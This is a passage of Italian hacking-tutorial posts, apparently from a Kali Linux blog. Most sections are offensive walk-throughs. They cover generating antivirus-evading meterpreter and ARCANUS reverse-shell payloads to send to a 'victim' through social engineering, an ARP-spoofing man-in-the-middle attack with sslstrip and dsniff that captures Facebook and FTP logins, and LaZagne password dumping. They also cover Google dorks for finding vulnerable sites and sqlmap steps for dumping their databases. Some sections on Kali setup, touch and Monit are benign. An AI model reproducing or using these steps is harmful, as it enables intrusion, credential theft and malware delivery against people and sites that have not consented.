“ imposta LHOST <Il tuo IP> ” e “ imposta LPORT <qualsiasi porta> “. I comandi sono quasi simili a Metasploit Framework . Per utilizzare Veil-Evasion su WAN, ti consigliamo di utilizzare il servizio Ngrok Tunnel oppure puoi anche utilizzare Port Forwarding.

Dopo aver impostato LHOST e LPORT, digitare " options " per vedere tutti i dettagli.

Se vuoi saperne di più sull'attuale payload, digita semplicemente " info " nella schermata che ti fornirà tutti i dettagli su quel payload che stai utilizzando come la lingua, la valutazione e la descrizione.

Il passaggio finale è digitare " generate " nello stesso terminale che creerà un semplice payload per te e salvato in " /var/lib/veil-evasion/output/compiled/yourpayload.exe ". Ma questo payload verrà sicuramente rilevato da alcuni AV.

Ora proviamo a creare un payload non rilevabile e crittografato che possa aggirare tutti gli AV. In questo caso, useremo un altro payload che è " python/shellcode_inject/aes_encrypt ".

Questo tipo di payload utilizza l'iniezione VirtualAlloc, che crea un'area eseguibile in memoria per lo shellcode e quindi blocca quell'area di memoria nella memoria fisica.

Per utilizzare il payload sopra, digita " usa 35 " e semplicemente " genera " il payload con le opzioni predefinite.

Scegli Number 1 per andare con " msfvenom " o se vuoi usare uno shellcode personalizzato, quindi digita " 2 ".

Ora abbiamo tutte le opzioni, evadiamo con il velo per generare il carico utile.

Infine, un nuovo payload crittografato è stato generato nella stessa directory " /var/lib/veil-evasion/output/compiled/virus.exe " che devi inviare alla tua vittima con uno qualsiasi dei metodi di social engineering.

Questo nuovo codice con il meterpreter incorporato supererà la maggior parte dei software AV e dei dispositivi di sicurezza. Come qualsiasi altra cosa, gli sviluppatori AV probabilmente troveranno un modo per rilevare anche questo payload, quindi sii creativo e prova altri metodi di offuscamento del payload in Veil-Evasion finché non ne trovi uno che nasconde il tuo payload.

Sfortunatamente, Veil-Evasion non è più supportato dagli sviluppatori, quindi ti consigliamo di utilizzare " Veil ", che è la versione avanzata di Veil-Evasion sviluppata dagli stessi sviluppatori che aggirerà quasi tutti i comuni antivirus.

Nota: non caricare mai il tuo payload su nessuno dei siti di scanner antivirus online come virustotal o nodistribute.

6 cose da fare dopo aver installato Kali Linux

   

Kali Linux è uno dei sistemi operativi di distribuzione di test di penetrazione open source più popolari con oltre 600 strumenti di hacking/test preinstallati. È gestito e finanziato da Offensive Security Ltd. Ecco alcune cose di base che devi fare dopo l'installazione di Kali Linux.

Il signor Ghaznavi-Zadeh , un esperto australiano di sicurezza delle informazioni con oltre 10 anni di esperienza nel settore della sicurezza delle informazioni, ha anche pubblicato un capitolo del suo libro " Kali Linux - Una guida all'hacking etico " su VpnMentor.com .

1. Aggiorna sempre il sistema

Bene, questo è il primo e più importante compito per aggiornare il tuo sistema. A seconda della velocità di Internet, il processo di aggiornamento e aggiornamento può richiedere del tempo.

Per aggiornare la macchina Kali Linux – “ sudo apt-get update ”
Per aggiornare la macchina Kali Linux – “ sudo apt-get upgrade ”

Una volta terminato, potresti voler riavviare il computer.

2. Configura i server Google DNS/OpenDNS

Utilizzando Google o OpenDNS puoi rendere la tua connessione Internet un po' più fluida.

Puoi utilizzare Google DNS o OpenDNS configurando le impostazioni di connessione di rete come mostrato di seguito.

3. Installare Aptitude, Gdebi e Synaptic

Aptitude è uno dei gestori di pacchetti più potenti attraverso il quale puoi facilmente installare/cercare qualsiasi pacchetto dal terminale stesso.

Gdebi è un'altra utile utility attraverso la quale è possibile installare facilmente i file .deb rapidamente ed estrae automaticamente tutte le dipendenze dal repository stesso.

Synaptic è un altro antico strumento di gestione dei pacchetti ed è utilizzato principalmente dalle distribuzioni Linux Redhat e Fedora.

Per installare tutti i pacchetti di cui sopra, digitare " sudo apt-get install aptitude gdebi synaptic "

4. Installa Chromium Browser ed esegui come root

In Kali Linux, il browser predefinito è Firefox ESR (Iceweasel) e sai che un browser non è sufficiente soprattutto se usi Internet 12 ore al giorno. Chromium è la versione open source di Google Chrome che puoi facilmente installare digitando " sudo apt-get install chromium ".

Per utilizzare il browser Chromium, puoi accedervi facilmente tramite terminale digitando direttamente " chromium " ma a volte mostra un errore come " Chromium non può essere eseguito come root ". Non farti prendere dal panico, è solo un errore normale.

Normalmente Chromium non può essere eseguito come root. Per correggere questo errore, dobbiamo configurare Chromium per l'esecuzione anche se stiamo utilizzando l'utente predefinito in Kali Linux (che è root). Per questo è necessario modificare il file di configurazione che si trova in "/etc/chromium.d/default-flags". Per modificare questo file, puoi utilizzare qualsiasi Editor come Vi, Vim, Nano, Gedit ecc. e aggiungere una riga alla fine del file.

export CHROMIUM_FLAGS=”$CHROMIUM_FLAGS –archivio-password=rileva –nessuna-sandbox –dir-dati-utente”

E salvalo e poi esegui "chromium" dal terminale. Congratulazioni! Ora puoi eseguire Chromium sulla tua macchina Kali Linux. Godere!

Spaghetti – Strumento Web App Security Scanner [Installazione + Utilizzo]

   

Spaghetti è uno strumento di scansione della sicurezza delle applicazioni web. È progettato per trovare vari file, configurazioni e configurazioni errate predefinite e non sicure. Spaghetti è basato su python2.7 e può essere eseguito su qualsiasi piattaforma che abbia un ambiente Python.

Caratteristiche di Spaghetti Tool -

Installazione di spaghetti –

Puoi installare facilmente lo strumento Spaghetti dal repository Github digitando il seguente comando:

Comando: git clone https://github.com/m4ll0k/Spaghetti.git

Dopo il download, è necessario installare tutte le dipendenze di questo strumento con l'aiuto del comando pip .

Comando: pip install -r doc/requirements.txt

Se tutti i tuoi requisiti sono già soddisfatti, puoi eseguire Spaghetti digitando " python spaghetti.py -h " che mostra una schermata di benvenuto davanti a te.

Per usare Spaghetti, digita “ python spaghetti.py -u <Target> –scan[0-3] ” o “ python spaghetti.py –url <Target> –scan [0-3] ”

Come utilizzare il comando Touch in modo efficace in Kali Linux

   

Come tutti sapete, il comando Touch viene utilizzato per creare un file rapido di qualsiasi estensione. Il comando touch può essere utilizzato per modificare i timestamp di accesso/modifica dei file. Puoi persino creare un semplice file vuoto con l'aiuto del comando Touch.

Ad esempio, se desideri creare un file completamente vuoto nella tua macchina Kali Linux, digita " touch file.txt " e nel caso in cui " file.txt " esista già, aggiornerà automaticamente l'ora di accesso.

Puoi anche creare più file nella stessa posizione digitando " touch file1.txt file2.txt file3.txt ". Devi solo aggiungere uno spazio tra i nomi dei file.

Con l'aiuto del comando touch, puoi persino creare molti file come " touch {A..Z} ", " touch {1..20} " e " touch {1..1000}.txt ". Fai attenzione quando esegui i test con i comandi precedenti perché creerà molti file in un arco di 1 secondo.

Se vuoi solo aggiornare l'ora di accesso del file esistente, senza crearlo, puoi " toccare -c file.txt ".

E per cambiare solo il tempo di accesso, puoi usare " touch -a file.txt ".

La cosa migliore della macchina Linux è che puoi facilmente controllare il tempo di accesso di qualsiasi file con l'aiuto del comando stat come da screenshot qui sotto.

Inoltre, l'attributo -m viene utilizzato per modificare l'ora di modifica di qualsiasi file come " touch -m file.txt " e per più file, puoi provare " touch -m *.txt ".

Puoi modificare sia l'ora di accesso che l'ora modificata insieme digitando " touch -am file.txt ".

Per impostare l'ora di accesso/modifica su una data e ora specifica, è possibile utilizzare l'opzione -t e specificare l'ora e la data nel formato [[CC]AA]MMGGhhmm[.ss] come " touch -c -t 1603051015 file.txt ".

Puoi persino utilizzare il timestamp di un altro file come riferimento digitando " touch -r riferimento.txt file.txt ".

Con l'opzione -d, puoi anche definire la data e l'ora come una stringa digitando " touch -c -d '15 Aug' file.txt "

Installa Monit, uno strumento di monitoraggio di processi e servizi su Kali Linux

   

Monit è una piccola utility Open Source per la gestione e il monitoraggio dei sistemi Unix. Monit esegue la manutenzione e la riparazione automatiche e può eseguire azioni causali significative in situazioni di errore. Il pacchetto Monit è facilmente disponibile per tutte le distribuzioni Unix/Linux/OpenBSD/OSX/FreeBSD. Puoi usare Monit per monitorare processi demone o programmi simili in esecuzione su localhost, ad esempio sulla tua macchina Kali Linux.

Monit è particolarmente utile per monitorare i processi del demone, come quelli avviati all'avvio del sistema da /etc/init/ Ad esempio sendmail, sshd, apache e mysql ecc. modifiche al checksum/modifiche alle dimensioni ecc.

È possibile impostare facilmente il sistema di avviso durante l'utilizzo dello strumento Monit. Infine, Monit può essere utilizzato per monitorare le risorse di sistema generali su localhost come l'utilizzo complessivo della CPU, la memoria e il carico medio.

Installazione di Monit –

Puoi facilmente installare Monit dal repository stesso digitando " apt-get install monit " nel terminale della tua macchina Linux.

Per verificare lo stato dello strumento monit, digitare " service monit status ", che mostrerà l'output in questo modo:

Successivamente, il file di configurazione di questo strumento si trova in /etc/monit/monitrc che puoi facilmente modificare tramite qualsiasi editor di testo. Qui stiamo provando a modificare questo file tramite Gedit digitando " gedit /etc/monit/monitrc ".

Ora il prossimo passo è attivare la sezione dell'interfaccia web per questo strumento monit in modo da poter monitorare facilmente tutte le attività tramite l'interfaccia web. Per attivare l'interfaccia web, è necessario modificare lo stesso file di configurazione ( /etc/monit/monitrc ) e trovare la riga " set httpd port 2812 and " e " allow admin:monit ", entrambe le righe sono commentate per impostazione predefinita, è sufficiente rimuovere il segno (#) davanti a queste due righe e salvarlo.

L'interfaccia web consente di controllare i report Monit dal browser. Questo è utile durante l'impostazione e il test di monit. Ora accedi a http://localhost:2812/ e l'interfaccia web di Monit dovrebbe aprirsi con nome utente predefinito – admin e password – monit .

L'idea alla base di monit è di essere avvisati ogni volta che si verifica qualcosa di inaspettato. Monit può inviare automaticamente e-mail. Trova la riga "imposta avviso" e specifica l'e-mail a cui desideri che vengano consegnati i rapporti.

Monit per impostazione predefinita invia e-mail per ogni cosa che fa o tutto ciò che accade. Ad esempio quando inizia monit. Tuttavia vogliamo solo le e-mail specifiche di avviso. Modificare la configurazione come segue

Per controllare semplicemente lo stato di monit, puoi digitare " monit status " nel tuo terminale.

Inoltre, ci sono molte cose che puoi fare con lo strumento monit come il monitoraggio del servizio http sulla porta 80, il monitoraggio dei registri, il monitoraggio dello stato di qualsiasi sito Web, il monitoraggio del server Web Apache e il monitoraggio delle porte, tutti questi servizi che puoi facilmente abilitare tramite il file di configurazione che noi modificato sopra.

Sniffa i pacchetti HTTPS/FTP utilizzando SSLSTRIP e DSNIFF – ARP Spoofing MITM Attack

   

Secondo la fonte di Wikipedia , in crittografia e sicurezza informatica, un  attacco man-in-the-middle  ( MITM ) è un attacco in cui l'attaccante trasmette segretamente e possibilmente altera la comunicazione tra due parti che credono di comunicare direttamente tra loro.

Un attacco MITM (un tipo di attacco di intercettazione) consente a un attore malintenzionato di intercettare, inviare e ricevere dati destinati a qualcun altro, o non destinati a essere inviati affatto, senza che nessuna delle parti esterne lo sappia fino a quando non è troppo tardi.

In questo tutorial lavoreremo con una distribuzione Linux chiamata Kali Linux   poiché viene fornita con tutti gli strumenti di cui abbiamo bisogno preinstallati come arpspoof, sslstrip, dsniff, iptables ecc.

Se desideri utilizzare altre distribuzioni Linux, puoi facilmente installare questi strumenti digitando i seguenti comandi:

Comando: sudo apt-get install aprspoof && sudo apt-get install sslstrip && sudo apt-get install dsniff

Ecco lo scenario completo:

  1. Macchina della vittima – Windows XP (192.168.179.147)
  2. Macchina dell'attaccante – Kali Linux (192.168.179.146)
  3. Indirizzo IP del router – Gateway (192.168.179.2)

Il primo passo è configurare la nostra macchina attaccante per abilitare l'inoltro dei pacchetti, questo consentirà alla nostra macchina attaccante di imitare se stessa come router. Indurre la macchina vittima a pensare che si stia connettendo al router, ma in realtà si riconnetterà alla macchina attaccante.

Per l'inoltro dei pacchetti, è necessario aprire un nuovo terminale e digitare " echo 1 > /proc/sys/net/ipv4/ip_forward ".

Questo ci consentirà di fornire e inoltrare il traffico dalla macchina attaccante alla macchina vittima. È inoltre possibile utilizzare il comando seguente per abilitare l'inoltro dei pacchetti.

Comando: sysctl -w net.ipv4.ip_forward=1

Se la tua macchina non sta inoltrando i pacchetti, la connessione Internet dell'utente si bloccherà e quindi l'attacco sarà inutile.

Ora, nella seconda fase, dobbiamo configurare iptables in modo tale che possa reindirizzare tutto il traffico dalla porta 80 alla porta 8080.

Comando: iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080

Il prossimo compito è trovare il gateway predefinito del router, che puoi facilmente scoprire digitando " route -n " ​​nel tuo terminale. Quindi in questo caso, il nostro indirizzo gateway predefinito è " 192.168.179.2 ".

Per trovare l'indirizzo IP di destinazione, puoi utilizzare uno qualsiasi dei metodi di ingegneria sociale oppure puoi eseguire il comando Nmap per scoprire tutti gli host attivi nella tua rete digitando " nmap -sP 192.168.179.1/24 ".

Ora il prossimo passo è impostare un arpspoof tra la vittima e il router. Arpspoof è un'utilità della riga di comando che consente di intercettare i pacchetti su una LAN commutata. Questo è un modo estremamente efficace per annusare il traffico su uno switch.

Sintassi: arpspoof -i [Nome interfaccia] -t [IP vittima] -r [IP router]

Quindi nel nostro caso,

Quindi il comando finale sarà:

Comando: arpspoof -i eth0 -t 192.168.179.147 -r 192.168.179.2

Il processo di cui sopra monitorerà il flusso di pacchetti dalla vittima al router. Ora per sniffare i pacchetti HTTP, puoi usare lo strumento Ettercap che è uno degli strumenti di sniffing più popolari ma ora un giorno, come tutti sapete, più del 40% dei siti è ora su HTTPS, quindi per sniffare i pacchetti HTTPS, useremo SSLSTRIP .

SSLStrip dirotta in modo trasparente il traffico HTTP su una rete, cerca collegamenti e reindirizzamenti HTTPS, quindi mappa tali connessioni in connessioni HTTP simili alle altre o collegamenti HTTPS comparabili all'omografo. Per avviare o ascoltare sslstrip, il comando è " sslstrip -l 8080 ".

Quando la macchina vittima visita un sito Web, tutto il traffico https verrà inoltrato alla macchina attaccante. Nel nostro caso, stiamo tentando di accedere a https://facebook.com e non appena hai inserito le informazioni di login e password, un file sslstrip.log verrà salvato nella tua directory Home della macchina Kali Linux.

Nella schermata sopra, come puoi vedere, abbiamo sniffato con successo i pacchetti HTTPS in un modo di testo chiaro che include un'e-mail di accesso e una password di accesso dell'account Facebook di destinazione.

Ora ancora di più, se vuoi annusare più dati di alcuni altri protocolli come FTP, HTTP, SNMP, POP, LDAP ecc., useremo Dsniff Tool che è anche preinstallato nella macchina Kali Linux.

Per usare Dsniff, apri un nuovo terminale e digita " dsniff -i eth0 ".

Nello screenshot sopra, abbiamo annusato con successo le informazioni di login e password del protocollo FTP.

Assicurarsi che il nome dell'interfaccia sia corretto e, se si utilizza l'interfaccia wireless, impostare prima l'interfaccia wireless in modalità promiscua e quindi eseguire lo strumento dsniff.

Per annusare solo le immagini, puoi usare "driftnet-i eth0 ".

Per sniffare solo le informazioni dell'URL, puoi usare " urlsnarf -i eth0 ".

Per sniffare il traffico di posta SMTP, puoi usare " mailsnarf -i eth0 ".

Una volta terminato il tuo attacco, ricorda di disabilitare nuovamente l'inoltro dei pacchetti nel sistema eseguendo il seguente comando su un terminale:

Comando: sysctl -w net.ipv4.ip_forward=0

Analizza la vulnerabilità di SQL Injection sull'intero server

   

L'iniezione SQL si verifica quando un'applicazione elabora i dati forniti dall'utente per creare un'istruzione SQL senza prima convalidare l'input e quindi invia l'istruzione a un server di database per l'esecuzione. Se sfruttata con successo, l'iniezione SQL può fornire a un utente malintenzionato i mezzi per accedere al contenuto del database back-end, eseguire comandi di sistema in remoto e, in alcune circostanze, assumere il controllo del server che ospita il database.

L'impatto specifico dipende da dove si trova l'errore nel codice, quanto è facile sfruttare l'errore e quale accesso ha l'applicazione al database. In teoria, l'iniezione SQL può verificarsi in qualsiasi tipo di applicazione, ma è più comunemente associata alle applicazioni Web perché sono più spesso compromesse.

Procedura di prova

Sostituisci il valore di ciascun parametro con una singola virgoletta e una parola chiave SQL, ad esempio WHERE. Testa ogni parametro individualmente. Durante il test dei parametri, lasciare invariati tutti gli altri parametri con dati validi come argomenti.

Il rilevamento degli attacchi SQL injection è stato realizzato principalmente attraverso tecniche di corrispondenza dei modelli rispetto a firme e parole chiave note per essere dannose. Fino a poco tempo fa, questa tecnica ha avuto successo. Ora gli aggressori nascondono il loro intento dannoso in vari modi per sfuggire al rilevamento.

Oggi impareremo un altro strumento di scansione che è una sorta di scanner di vulnerabilità di SQL Injection proprio come SQLMAP , che è lo strumento più popolare fino ad oggi. viSQL è lo scanner di vulnerabilità di SQL Injection che non solo esegue la scansione dell'URL di destinazione, ma esegue anche la scansione dell'intero server con l'aiuto della funzionalità di scansione e controllo del dominio IP inverso.

Puoi facilmente scansionare la vulnerabilità SQL sull'URL di destinazione stesso e su tutti gli altri siti sullo stesso server.

Installazione di viSQL in Kali Linux –

Per installare viSQL, digita " git clone https://github.com/blackvkng/viSQL.git " nel tuo terminale Kali Linux.

Il comando precedente creerà automaticamente una cartella denominata "viSQL" nella stessa directory in cui si esegue il comando. Per elencare tutti i file, digita " cd viSQL && ls " nel tuo terminale.

Il secondo metodo per l'installazione è scaricare il file installer.py con l'aiuto di wget ed eseguire installer.py con l'aiuto del comando python.

Comando:  wget https://raw.githubusercontent.com/blackvkng/viSQL/master/installer.py
Comando: sudo python2 installer.py

Successivamente, per eseguire viSQL, basta digitare " python viSQL.py -h " che mostra il menu di aiuto dello strumento viSQL.

Per eseguire la scansione del sito utilizzando viSQL, digitare " python viSQL.py -t www.example.com "

Ora prenditi un po' di tempo, per lasciare che viSQL faccia il suo lavoro. viSQL prima eseguirà la ricerca IP inversa per enumerare il dominio dell'elenco che si trova su questo IP di destinazione, quindi eseguirà la scansione di ogni sito per trovare vulnerabilità SQL injection. Se viSQL ha trovato una potenziale SQL injection sulla destinazione, visualizzerà il collegamento vulnerabile di SQL Injection di fronte a te.

Qui puoi vedere che viSQL ha avviato la scansione del sito Web di destinazione e ha trovato così tanti siti che potrebbero essere vulnerabili alla vulnerabilità SQL Injection.

Dopo il completamento della scansione, viSQL avvia la funzione di scansione SQLi che elenca tutti gli URL vulnerabili SQL proprio come di seguito.

Ora raccogli quel collegamento, quindi inizia a eseguire SQL injection manualmente tramite il browser o automatizzalo utilizzando il tuo strumento desiderabile proprio come SQLMAP o HAVIJ.

SQLMAP è per utenti basati su Linux e HAVIJ è per utenti basati su Windows.

Codifica SQL sicura per le tue applicazioni web

È necessario seguire alcune regole per prevenire gli attacchi SQL injection. Limitare i diritti degli utenti del database. Gli attacchi SQL injection riusciti si basano sulle credenziali degli utenti del database. Anche se la limitazione dei privilegi potrebbe non impedire gli attacchi SQL injection, è possibile rendere gli attacchi più difficili da implementare. Non concedere all'utente l'accesso a tutte le procedure archiviate di sistema se gli utenti devono accedere solo a poche procedure definite dall'utente.

OWASP VBScan: uno scanner di vulnerabilità vBulletin Black Box

   

vBulletin è una soluzione di forum della comunità professionale e conveniente. Ti offre una comunità istantanea che consente ai tuoi utenti di interagire, prendere parte a discussioni, porre domande, dare risposte ed esprimere opinioni.

L'ultima versione di vBulletin è vBulletin 5 Connect e vBulletin Cloud.

Elenco delle funzionalità –

L'ultima versione di vBulletin 5 Connect include molte funzionalità importanti. Dall'ottimizzazione per i motori di ricerca al pannello di gestione degli utenti. È possibile utilizzare il supporto RSS, la localizzazione dell'interfaccia, il pannello di controllo del moderatore, il captcha, il sistema di sciopero degli accessi ecc.

OWASP VBScan è un progetto opensource in linguaggio di programmazione perl per rilevare le vulnerabilità di VBulletin CMS e analizzarle. Lo strumento VBScan è lo strumento migliore per i pentester speciali che vogliono testare la sicurezza del sito web.

L'ultima versione di OWASP VBScan è la 0.1.7.1 .

Installazione di VBScan in Kali Linux –

Per installare VBScan, digita " git clone https://github.com/rezasp/vbscan.git " nella tua macchina Kali Linux.

Per eseguire questo strumento, digita " perl vbscan.pl " che mostra la schermata di benvenuto che include il banner e le opzioni di utilizzo.

Prima di eseguire questo strumento, modifica i permessi digitando " chmod +x vbscan.pl " nel tuo stesso terminale.

Ora lo strumento è pronto per scansionare tutte le vulnerabilità relative a vBulletin. Per trovare siti vBulletin vulnerabili, puoi usare Google Dork – “ inurl:”search.php?search_type=1 “.

Per eseguire VBScan, digitare " perl vbscan.pl http://example.com "

Come vedi, questo strumento rileverà automaticamente la versione di vBulletin e, in base a quella versione, elencherà tutte le vulnerabilità presenti in quella particolare versione.

Le vulnerabilità utilizzate da VBScan sono:

Come puoi vedere, questo strumento ha recuperato tutti gli exploit per la specifica versione di vBulletin. Ci sono molti siti di vulnerabilità che puoi cercare usando i dork e segnalare agli amministratori per correggerli.

Hack Windows/Linux usando ARCANUS Framework – 100% FUD

   

ARCANUS è un generatore/gestore di payload personalizzato solo per test di penetrazione. Puoi facilmente generare un payload per entrambi i sistemi operativi, ad esempio Windows e Linux, con un solo clic.

L'ultima versione di ARCANUS FRAMEWORK è la 1.5.6. In precedenza abbiamo discusso lo stesso metodo con CHAOS FRAMEWORK in cui abbiamo generato un payload FUD e sfruttato la macchina Windows 10.

Per la generazione del payload, puoi persino utilizzare Msfvenom, il modulo più popolare di Metasploit Framework per la generazione del payload. ARCANUS genera un payload unico per i sistemi Windows e Linux che non può essere rilevato dalla maggior parte dei programmi antivirus.

In CHOAS Framework, abbiamo un set limitato di comandi ma con ARCANUS, ha alcuni moduli extra per lo sfruttamento come " £persistence, £download, £upload, £meterpreter " ecc.

Installazione di ARCANUS in Kali Linux –

Per installare ARCANUS, digita " git clone https://github.com/EgeBalci/ARCANUS.git " nel terminale della tua macchina Linux.

Per eseguire ARCANUS, digita " ./ARCANUS " nel tuo stesso terminale che ti dà la schermata di benvenuto all'inizio con le seguenti opzioni.

  1. INIZIA AD ASCOLTARE
  2. GENERA IL PAYLOAD DI WINDOWS
  3. GENERA PAYLOAD LINUX
  4. GENERARE PAYLOAD WINDOWS STAGER
  5. GENERA PAYLOAD LINUX STAGER
  6. AGGIORNAMENTO

Per generare un payload per computer Windows, premi " 2 " che genererà un payload FUD per computer Windows.

Ora inserisci gli indirizzi IP della tua macchina Kali Linux. E premi invio. Nel passaggio successivo chiederà la porta n. Inserisci la porta n. Ad esempio 4444 e premi Invio.

Attendi 1-2 minuti, genererà automaticamente un file payload.exe nella cartella /root/ARCANUS in cui hai installato lo strumento e avvierà automaticamente il reverse listener rispetto al payload.

Qui puoi facilmente trovare il file payload.exe che hai generato tramite ARCANUS Framework. Usa qualsiasi metodo di ingegneria sociale per inviare questo virus/payload alla macchina del tuo amico/della vittima.

Non appena il file viene eseguito, otterrai la connessione TCP inversa della macchina di quel target.

Come puoi vedere qui, digita semplicemente il comando " dir " per visualizzare l'elenco di tutti i file della macchina di destinazione, ad esempio WINDOWS 10 PRO.

Per visualizzare tutte le informazioni di sistema, digitare " systeminfo " nello stesso terminale.

Per scaricare qualsiasi file dalla macchina remota, digita £download "<nome file>"

Per ottenere la sessione meterpreter con ARCANUS, guarda il video qui sotto -

https://www.youtube.com/watch?v=vQUbD6Ro2Ug

Per visualizzare tutti i comandi ARCANUS, fai riferimento a questo link .

SQLiv - Scansione massiccia di SQL Injection

   

L'iniezione SQL è una delle vulnerabilità più importanti per le applicazioni basate sul Web. Nell'ultimo articolo , abbiamo utilizzato viSQL attraverso il quale abbiamo scansionato l'intero server alla ricerca di vulnerabilità di SQL Injection con l'aiuto della funzionalità di scansione e controllo del dominio IP inverso.

Oggi parleremo dello strumento SQLiv che è un enorme scanner SQL Injection attraverso il quale puoi persino trovare i siti Web SQL vulnerabili utilizzando Google Dorks. SQLiv è preinstallato nella distribuzione BlackArch Linux.

Funzionalità di SQLiv –

  1. Scansione di più domini con SQL injection dork
  2. Scansione mirata fornendo un dominio specifico (con scansione)
  3. Scansione inversa del dominio

Installazione di SQLiv in Kali Linux –

Per installare SQLiv, digita " git clone https://github.com/Hadesy2k/sqlivulscan.git " nel terminale della tua macchina Linux.

Per installare tutte le dipendenze dello strumento SQLiv, digitare " python setup.py -i " che installerà tutte le dipendenze, ad esempio bs4, termcolor, google.

Dopo l'installazione completa di tutte le dipendenze, digita " python sqliv.py " che ti darà la schermata di benvenuto dello strumento SQLiv e visualizzerà l'utilizzo e le opzioni.

Per eseguire SQLiv, digita " python sqliv.py -d "inurl:index.php?id=" -e google " nel tuo terminale.

Qui -d sta per SQL Injection dork e -e sta per Search Engine.

Cerca semplicemente più siti Web da un determinato idiota e scansiona i risultati uno per uno.

Per la scansione Target, puoi usare  il parametro -t , " python sqliv.py -t <http://www.example.com/index.php?id=15 "

Se viene fornito solo il nome di dominio, eseguirà la scansione di tutti gli URL con query come mostrato di seguito.

Puoi persino utilizzare  il parametro -r  per la scansione della ricerca IP inversa proprio come lo strumento viSQL.

Recupera tutte le password con LaZagne Project

   

Il progetto LaZagne  (Uno strumento di recupero password) è un'applicazione open source utilizzata per recuperare molte password memorizzate su un computer locale. Ogni software memorizza le proprie password utilizzando tecniche diverse (testo in chiaro, API, algoritmi personalizzati, database, ecc.). Questo strumento è stato sviluppato allo scopo di trovare queste password per i software più comunemente utilizzati.

Nota: per password WiFi \ Segreti di Windows, avvialo con privilegi di amministratore (autenticazione UAC / sudo)

Scarica la versione Windows – https://github.com/AlessandroZ/LaZagne/releases/download/1.1/Windows.zip

Dopo il completamento del download, estrai il file sopra ed eseguilo con CMD con i permessi di amministratore e digita: “ laZagne.exe ”

Argomenti posizionali: {chats,svn,all,wifi,mails,windows,database,sysadmin,browser,games}

Per recuperare tutte le password digitare “ laZagne.exe all ”

Il comando precedente ti mostrerà una schermata di benvenuto con tutte le opzioni che puoi facilmente utilizzare

  1. Per recuperare solo la password del browser, digitare " laZagne.exe browsers "
  2. Per browser specifici come FireFox, digita " laZagne.exe browsers -f "
  3. Per scrivere tutte le password in un file, usa l'attributo (-w), come " laZagne.exe all -w "
  4. Per l'attacco Bruteforce, puoi persino utilizzare il tuo file dizionario, digita " laZagne.exe all -path file.txt "
  5. Per qualsiasi tipo di aiuto, puoi digitare " laZagne.exe -h "

Gloom - Framework di test di penetrazione di Linux

   

La sicurezza è uno stato in cui garantiamo un adeguato divario tra le minacce e le risorse di un'organizzazione. Cerchiamo di spostare le risorse lontano dalle minacce o di applicare in qualche modo buoni controlli di sicurezza tra i due. Quando parliamo di sicurezza, dobbiamo concentrarci sia sull'applicazione che sul sistema operativo. Tuttavia, il sistema operativo stesso è abbastanza stabile e meno sensibile agli attacchi, ovvero avrai difficoltà a ottenere un serio vettore di attacco.

Kali Linux è una distribuzione Linux per test di penetrazione e controllo della sicurezza di Linux. Dopo il suo rilascio nel marzo 2013, Kali Linux è diventato rapidamente il nuovo favorito tra i Pen Tester di tutto il mondo come scelta per il sistema operativo Pen testing. Sostituendo il suo predecessore Backtrack, Kali ha incorporato diverse nuove funzionalità e sembra piuttosto promettente.

Oggi parleremo del Gloom-Framework che è un Linux Penetration Testing Framework ed è stato scritto in Python. La versione per Windows non è ancora disponibile ed è pensata solo per le distribuzioni Linux.

Installazione di Gloom Framework in Kali Linux –

Per scaricare Gloom Framework, digita " git clone https://github.com/joshDelta/Gloom-Framework.git "

Successivamente è necessario installare questo strumento digitando " python install.py "

Per eseguire il framework, digita " sudo python gloom.py "

Per visualizzare tutte le opzioni, digita " help " nel terminale della riga di comando che mostra tutte le opzioni e i comandi per questo framework.

Supponiamo che se desideri utilizzare Website IP Resolver, il comando è " website_ip_resolver " che ti fornirà l'IP pubblico di quel sito Web in soli 1-2 secondi.

Sfruttamento di SQL Injection dal vivo con SQLMap: una guida dettagliata

   

Salve smanettoni, oggi vi mostreremo alcune tecniche di SQL Injection di base con l'aiuto di Python e SQLMap.

L'iniezione SQL è una delle vulnerabilità più critiche fino ad ora ed è ancora inclusa nella sezione dei difetti di iniezione dell'elenco OWASP Top 10 . Sqlmap è uno dei più popolari strumenti automatizzati di sfruttamento di SQL Injection che può funzionare sia su piattaforme Linux che Windows.

In Kali Linux, Sqlmap è preinstallato ma per Windows puoi installare facilmente Sqlmap usando Python Interpreter . Esistono due serie di Python, 2.7.x e 3.3.x . Sqlmap dovrebbe funzionare correttamente con entrambe le versioni, quindi puoi scegliere qualsiasi versione.

Utilizzo di Sqlmap in Windows:

C:\sqlmap>python ./sqlmap.py -u "Inserisci l'URL qui" –dbs

Utilizzo di Sqlmap in Linux:

python sqlmap.py -u "Inserisci l'URL qui" –dbs

SQLMap supporta lo sfruttamento di un'ampia gamma di DBMS, l'elenco include i seguenti nomi:  MySQL, IBM DB2, Oracle, Postgresql, SQLite, Firebird, Microsoft SQL Server, Microsoft Access, Sybase, SAP MaxDB .

Dopo aver configurato tutto, è ora di iniziare a iniettare. Dovrai prima trovare un sito vulnerabile SQL.

Il flusso di base di SQLMap è il seguente:

Diciamo che c'è un'applicazione web o un sito web che contiene un URL come questo " http://www.example.com/news.php?id=11 ".

Per trovare siti vulnerabili, vai al tuo browser preferito e prova a cercare termini come " php?id= ", " login.php?id= ", " index.php?id= " ecc.

Una volta trovato un sito, puoi testarlo per vedere se è vulnerabile aggiungendo un apostrofo ( ' ) dopo il link. Quindi il nuovo URL sarà " http://www.example.com/news.php?id=11 '".

Se l'URL di cui sopra genera un errore o reagisce in modo imprevisto, è chiaro che il database ha la virgoletta singola inaspettata che l'applicazione non ha eseguito correttamente l'escape. Quindi in questo caso questo parametro di input " id " è vulnerabile all'iniezione SQL.

Questo è il messaggio di errore che mostra:
“Hai un errore nella tua sintassi SQL; controlla il manuale che corrisponde alla versione del tuo server MySQL per la sintassi corretta da utilizzare vicino a '\” alla riga 1″.

Ora è il momento dello sfruttamento dal vivo e useremo Kali Linux in questo caso in cui la tua Sqlmap è già preinstallata al suo interno.

Comando: python sqlmap.py -u “http://www.example.com/news.php?id=11” –dbs

Qui,

Quindi, con l'aiuto di SQLMap, puoi facilmente scoprire il nome del sistema operativo, il server Web e il database insieme alle informazioni sulla versione.

Come puoi vedere sopra, il sito Web in cui stiamo attaccando ha due database ( db363851433 e information_schema ). Ora è il momento di scoprire quali tabelle esistono in un particolare database. Diciamo che il database di interesse qui è ' db363851433 '.

Sintassi:  sqlmap -u "Il tuo URL di destinazione" -D (scegli un database) –tables

Comando: sqlmap -u “http://www.example.com/news.php?id=11” -D db363851433 –tables

